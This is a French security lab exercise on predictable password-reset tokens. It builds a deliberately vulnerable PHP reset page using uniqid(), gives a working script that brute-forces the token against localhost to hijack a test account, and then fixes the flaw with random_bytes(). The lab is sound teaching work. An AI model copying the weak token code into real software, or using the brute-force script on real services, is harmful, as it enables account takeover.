Cryptographic Failures (défaillances cryptographiques)

- Comprendre pourquoi un jeton de sécurité généré avec une fonction non cryptographique peut être reconstruit par un attaquant, même sans jamais voler ni casser aucun mot de passe (Cryptographic Failures, n°4 du Top 10 de l'OWASP (2025)).
- Apprendre à utiliser
random_bytes(), la fonction PHP conçue pour produire un hasard réellement imprévisible.
Toutes les fonctions qui produisent un nombre « au hasard » ne se valent pas. Certaines sont prévues pour des jeux ou des tirages sans enjeu de sécurité ; d'autres, bien plus rares, sont conçues pour qu'aucun attaquant ne puisse deviner leur résultat. Confondre les deux, pour un jeton de sécurité, rend ce jeton totalement inutile.
1. Création du projet vulnérable
Créez un dossier tp-jeton contenant la fonctionnalité « mot de passe oublié » du club de
randonnée.
membres.json :
[
{
"pseudo": "julie",
"email": "julie@club-randonnee.fr",
"nom": "Julie Martin",
"mot_de_passe": "$2y$12$4kL45lS18InfJKsrz87gwe25s1p8Suh8WKVlQFINrpuvrlFyf0cXi"
}
]
outils.php :
<?php
const FICHIER_MEMBRES = __DIR__ . '/membres.json';
const FICHIER_JETONS = __DIR__ . '/jetons.json';
function lireMembres(): array
{
return json_decode(file_get_contents(FICHIER_MEMBRES), true);
}
function ecrireMembres(array $membres): void
{
file_put_contents(FICHIER_MEMBRES, json_encode($membres, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE));
}
function trouverMembreParEmail(string $email): ?array
{
foreach (lireMembres() as $membre) {
if ($membre['email'] === $email) {
return $membre;
}
}
return null;
}
function lireJetons(): array
{
if (!file_exists(FICHIER_JETONS)) {
return [];
}
return json_decode(file_get_contents(FICHIER_JETONS), true);
}
function ecrireJetons(array $jetons): void
{
file_put_contents(FICHIER_JETONS, json_encode($jetons, JSON_PRETTY_PRINT));
}
mot_de_passe_oublie.php :
<?php
require 'outils.php';
$message = null;
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$email = $_POST['email'] ?? '';
$membre = trouverMembreParEmail($email);
if ($membre) {
$jeton = uniqid();
$jetons = lireJetons();
$jetons[$email] = ['jeton' => $jeton, 'expiration' => time() + 3600];
ecrireJetons($jetons);
// Simule l'envoi d'un e-mail : écrit le lien dans la "boîte mail" de la victime
$lien = "http://localhost:8000/reinitialiser.php?email=" . urlencode($email) . "&jeton=$jeton";
file_put_contents(__DIR__ . '/boite_mail_de_' . $membre['pseudo'] . '.txt', "Lien de réinitialisation : $lien\n");
}
// Même message, que l'adresse existe ou non (pas d'énumération de comptes)
$message = "Si cette adresse existe, un lien de réinitialisation vient d'être envoyé.";
}
?>
<!DOCTYPE html>
<html lang="fr">
<head><meta charset="UTF-8"><title>Mot de passe oublié - Club de randonnée</title></head>
<body>
<h1>Mot de passe oublié</h1>
<?php if ($message): ?><p><?= htmlspecialchars($message) ?></p><?php endif; ?>
<form method="post" action="">
<p><label>Votre adresse e-mail : <input type="email" name="email" required></label></p>
<button type="submit">Recevoir un lien de réinitialisation</button>
</form>
</body>
</html>
reinitialiser.php :
<?php
require 'outils.php';
$email = $_GET['email'] ?? $_POST['email'] ?? '';
$jeton = $_GET['jeton'] ?? $_POST['jeton'] ?? '';
$erreur = null;
$succes = null;
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$jetons = lireJetons();
$infos = $jetons[$email] ?? null;
if (!$infos || $infos['jeton'] !== $jeton || $infos['expiration'] < time()) {
$erreur = 'Lien invalide ou expiré.';
} else {
$membres = lireMembres();
foreach ($membres as &$membre) {
if ($membre['email'] === $email) {
$membre['mot_de_passe'] = password_hash($_POST['nouveau_mot_de_passe'], PASSWORD_DEFAULT);
}
}
unset($membre);
ecrireMembres($membres);
unset($jetons[$email]);
ecrireJetons($jetons);
$succes = 'Mot de passe modifié.';
}
}
?>
<!DOCTYPE html>
<html lang="fr">
<head><meta charset="UTF-8"><title>Réinitialiser le mot de passe - Club de randonnée</title></head>
<body>
<h1>Choisir un nouveau mot de passe</h1>
<?php if ($erreur): ?><p style="color:red;"><?= htmlspecialchars($erreur) ?></p><?php endif; ?>
<?php if ($succes): ?><p style="color:green;"><?= htmlspecialchars($succes) ?></p><?php endif; ?>
<form method="post" action="">
<input type="hidden" name="email" value="<?= htmlspecialchars($email) ?>">
<input type="hidden" name="jeton" value="<?= htmlspecialchars($jeton) ?>">
<p><label>Nouveau mot de passe : <input type="password" name="nouveau_mot_de_passe" required></label></p>
<button type="submit">Valider</button>
</form>
</body>
</html>
uniqid() génère un identifiant censé être « unique », pas un identifiant secret. Rien dans sa
documentation ne promet qu'il soit imprévisible : c'est précisément ce que ce TP va démontrer.
2. Démarrer le serveur Web
Dans le dossier tp-jeton, démarrez le serveur Web intégré à PHP :
php -S localhost:8000
Ouvrez http://localhost:8000/mot_de_passe_oublie.php, saisissez julie@club-randonnee.fr, puis
ouvrez le fichier boite_mail_de_julie.txt qui vient d'apparaître dans le dossier : il contient le
lien que Julie aurait réellement reçu par e-mail.
3. Observer que le jeton n'a rien d'aléatoire
Redemandez un lien pour julie@club-randonnee.fr (le fichier boite_mail_de_julie.txt est
remplacé). Comparez le nouveau jeton (dans l'URL du fichier) à celui obtenu à l'étape précédente.
Question : Que remarquez-vous entre les deux jetons, obtenus à quelques secondes d'intervalle ?
📌 Une réponse
C'est exactement ce que c'est : la documentation PHP de uniqid() précise que cette fonction se
base sur microtime(), l'heure courante en microsecondes. Les 8 premiers caractères encodent
le nombre de secondes écoulées depuis 1970 (comme time()), et les 5 derniers encodent les
microsecondes de la seconde en cours. Aucun hasard n'intervient.
4. Reconstruire un jeton à distance
Nous allons maintenant jouer le rôle de l'attaquant, qui connaît l'adresse e-mail de Julie (visible, par exemple, sur le site du club) mais n'a pas accès à sa boîte mail.
Créez un second dossier tp-jeton-attaquant (à côté de tp-jeton, pas dedans), contenant le
fichier deviner_jeton.php :
<?php
// Script d'attaque : reconstruit le jeton de réinitialisation à partir de l'heure du serveur
$email = 'julie@club-randonnee.fr';
$nouveauMotDePasse = 'PirateAccesTotal1';
// La seconde exacte de la demande de réinitialisation (obtenue par exemple grâce à l'en-tête
// HTTP "Date" renvoyé par le serveur, précis à la seconde près)
$seconde = (int) $argv[1];
for ($usec = 0; $usec <= 999999; $usec++) {
$jetonEssaye = sprintf('%08x%05x', $seconde, $usec);
$donnees = http_build_query([
'email' => $email,
'jeton' => $jetonEssaye,
'nouveau_mot_de_passe' => $nouveauMotDePasse,
]);
$contexte = stream_context_create([
'http' => [
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $donnees,
'ignore_errors' => true,
],
]);
$reponse = file_get_contents('http://localhost:8000/reinitialiser.php', false, $contexte);
if (str_contains($reponse, 'Mot de passe modifié')) {
echo "Jeton trouvé après " . ($usec + 1) . " essais : $jetonEssaye\n";
echo "Nouveau mot de passe du compte $email : $nouveauMotDePasse\n";
exit;
}
}
echo "Aucun jeton trouvé pour cette seconde.\n";
Un jeton uniqid() ne dépend que de deux informations : la seconde et la microseconde de sa
génération. La seconde se devine facilement (l'en-tête HTTP Date, présent dans toute réponse
Web, donne l'heure du serveur à la seconde près). Il ne reste donc que la microseconde à
essayer : au plus 1 000 000 de possibilités, bien loin des milliards de combinaisons d'un mot
de passe.
5. Déclencher l'attaque
Repérez l'heure actuelle de votre machine en secondes Unix (la même commande que celle utilisée par PHP pour générer le jeton) :
php -r "echo time();"
Puis, dans tp-jeton, redemandez un lien de réinitialisation pour julie@club-randonnee.fr
(étape 2), et lancez immédiatement l'attaque depuis tp-jeton-attaquant, avec la seconde
obtenue juste avant :
php deviner_jeton.php 1791216208
(remplacez 1791216208 par la valeur que vous avez obtenue)
Résultat attendu : après quelques dizaines de secondes (jusqu'à 3 ou 4 minutes dans le pire
cas), le script affiche Jeton trouvé après ... essais et un nouveau mot de passe pour le compte
de Julie.
Ce script peut prendre un moment à s'exécuter : c'est le temps nécessaire pour qu'un simple ordinateur, sans aucun outil spécialisé, essaie jusqu'à un million de possibilités. Pendant qu'il tourne, vous pouvez lire la suite de cette séance.
Question : Combien de mots de passe aurait-il fallu essayer pour casser, par la même méthode, un mot de passe de 10 caractères avec majuscules, minuscules et chiffres ? Que montre cette comparaison ?
📌 Une réponse
L'attaquant vient de changer le mot de passe de Julie et de se connecter à sa place, sans connaître son ancien mot de passe, sans l'avoir deviné par force brute, et sans avoir eu accès à sa boîte mail. C'est un détournement de compte complet, rendu possible par un seul choix de fonction au moment de générer le jeton.
6. Sécuriser le code PHP
Modifiez tp-jeton/mot_de_passe_oublie.php pour remplacer uniqid() par random_bytes(), la
fonction PHP conçue pour la cryptographie :
$jeton = bin2hex(random_bytes(32));
random_bytes(32) produit 32 octets choisis par un générateur cryptographiquement sûr
(fourni par le système d'exploitation), soit 256 bits de hasard réel. bin2hex() les convertit
ensuite en une chaîne de 64 caractères hexadécimaux, lisible et facile à placer dans une URL.
C'est exactement la fonction déjà utilisée pour le jeton CSRF dans la séance sur le
CSRF.
7. Vérifier que les jetons ne se ressemblent plus
Rejouez l'étape 3 avec le code corrigé : demandez deux liens de réinitialisation à quelques secondes d'intervalle, et comparez les deux jetons obtenus.
Résultat attendu : les deux jetons font 64 caractères et ne partagent aucun caractère en commun d'un bout à l'autre, quel que soit l'intervalle de temps qui les sépare.
Question : Pourquoi le script deviner_jeton.php de l'étape 4 ne fonctionnerait-il plus du
tout contre cette version corrigée, même en le laissant tourner pendant des années ?
📌 Une réponse
Pour tout ce qui touche à la sécurité (jeton de session, jeton CSRF, jeton de réinitialisation,
clé d'API), utilisez toujours random_bytes() ou random_int(). Ne vous fiez jamais à
uniqid(), rand() (qui n'est pas conçu pour la cryptographie) ni à une combinaison de données
prévisibles (date, identifiant de compte, adresse e-mail).
8. Ajouter une couche de défense supplémentaire : une expiration courte
Même avec un jeton imprévisible, limiter sa durée de vie réduit encore la fenêtre d'attaque en
cas de fuite accidentelle (par exemple un lien de réinitialisation resté affiché sur un écran
partagé). Réduisez la durée de validité dans mot_de_passe_oublie.php :
$jetons[$email] = ['jeton' => $jeton, 'expiration' => time() + 900]; // 15 minutes au lieu d'une heure
Une expiration courte ne remplace pas un jeton imprévisible : avec uniqid(), elle n'aurait
quasiment rien changé, puisque l'attaque de ce TP se joue en quelques minutes. Les deux mesures
se complètent : l'imprévisibilité empêche de deviner le jeton, la courte durée de vie limite les
conséquences d'un jeton qui aurait quand même fuité (affiché par erreur, intercepté...).
Notions théoriques
Les Cryptographic Failures (« défaillances cryptographiques ») regroupent les failles liées à l'absence, à la faiblesse ou au mauvais usage de mécanismes cryptographiques : chiffrement, hachage, génération de nombres aléatoires.
L'OWASP signale que trois des défaillances les plus fréquentes dans cette catégorie concernent un
générateur de nombres pseudo-aléatoires non cryptographique : exactement la faille illustrée
par uniqid() dans ce TP.
Les principales défaillances recensées par l'OWASP
- Génération de hasard non cryptographique pour un jeton, une clé ou un identifiant de sécurité (ce TP).
- Transmission de données sensibles sans chiffrement : un site accessible en HTTP plutôt qu'en HTTPS, ou un en-tête de sécurité manquant qui n'impose pas HTTPS.
- Hachage de mot de passe avec un algorithme obsolète (
MD5,SHA1), déjà rencontré dans la séance sur l'injection SQL et approfondi dans les séances sur le hachage sécurisé et le stockage des mots de passe. - Clés ou secrets codés en dur dans le code source, parfois même publiés par erreur dans un dépôt Git public.
- Certificat ou chaîne de confiance mal vérifiés, qui permettrait à un attaquant de s'interposer dans une communication pourtant chiffrée.
- Absence de chiffrement des données sensibles au repos (dans une base de données ou un fichier), alors que leur nature (santé, paiement, données personnelles) l'exigerait.
Pourquoi ce TP ne porte-t-il que sur la génération de hasard ?
Le chiffrement du transport (HTTPS) et le hachage des mots de passe sont déjà couverts par
d'autres séances de ce cours, référencées ci-dessus : ce TP a choisi de creuser un aspect souvent
ignoré, car il ne saute pas aux yeux comme une faille « classique ». Une fonction comme uniqid()
semble produire un résultat complexe et imprévisible ; ce TP démontre que les apparences en
cryptographie ne suffisent jamais, seule la méthode de construction compte.
rand() est-il concerné de la même façon ?
rand() et mt_rand() ne sont pas directement prévisibles comme uniqid() (ils ne se
déduisent pas d'une simple horloge), mais ils reposent sur un algorithme, le Mersenne Twister,
non conçu pour la cryptographie : il privilégie la rapidité et une bonne répartition
statistique, pas la résistance à un attaquant qui analyserait ses résultats. La règle reste
identique : pour un usage de sécurité, PHP fournit random_int() (l'équivalent cryptographique de
rand()) et random_bytes() (l'équivalent cryptographique de données aléatoires brutes).
Un formulaire protégé par un jeton CSRF généré avec random_bytes() (voir la séance sur le
CSRF)
mais dont le lien de réinitialisation de mot de passe utilise encore uniqid() reste vulnérable :
la cryptographie se vérifie fonctionnalité par fonctionnalité, jamais une seule fois pour tout
le site.
Test de mémorisation/compréhension
Bonnes pratiques
- Utiliser
random_bytes()ourandom_int()pour tout jeton, toute clé ou tout identifiant de sécurité, jamaisuniqid()nirand()/mt_rand(). - Chiffrer toutes les communications avec HTTPS, y compris les pages qui semblent sans enjeu.
- Hacher les mots de passe avec
password_hash(), jamais avecmd5()ousha1(). - Ne jamais coder un secret en dur dans le code source (clé d'API, mot de passe de base de données) : utiliser des variables d'environnement, exclues du dépôt Git.
- Limiter la durée de vie des jetons sensibles, en complément d'une génération imprévisible.
- Chiffrer les données sensibles au repos, en particulier les données de santé ou de paiement.
Une fonction de hasard « suffisamment bonne » pour un jeu, une couleur aléatoire ou un identifiant d'affichage ne l'est presque jamais pour un jeton de sécurité. En cas de doute sur l'usage prévu d'une fonction, consultez sa documentation : PHP indique explicitement quelles fonctions sont adaptées à la cryptographie.
Ce que fait Symfony
Le composant Security de Symfony utilise random_bytes() en interne pour générer tous ses
jetons sensibles (jeton CSRF, identifiant de session, jeton de réinitialisation de mot de passe du
composant ResetPasswordBundle) : un développeur Symfony n'a normalement jamais besoin d'appeler
lui-même une fonction de hasard pour ces usages.
// Avec le ResetPasswordBundle, le jeton est généré et vérifié par le framework
$resetToken = $resetPasswordHelper->generateResetToken($user);
Cette protection ne couvre que ce que Symfony génère lui-même. Un développeur qui ajoute, en
dehors de ces composants, son propre code uniqid() ou rand() pour un besoin de sécurité
spécifique réintroduit exactement la faille démontrée dans ce TP, quel que soit le framework
utilisé.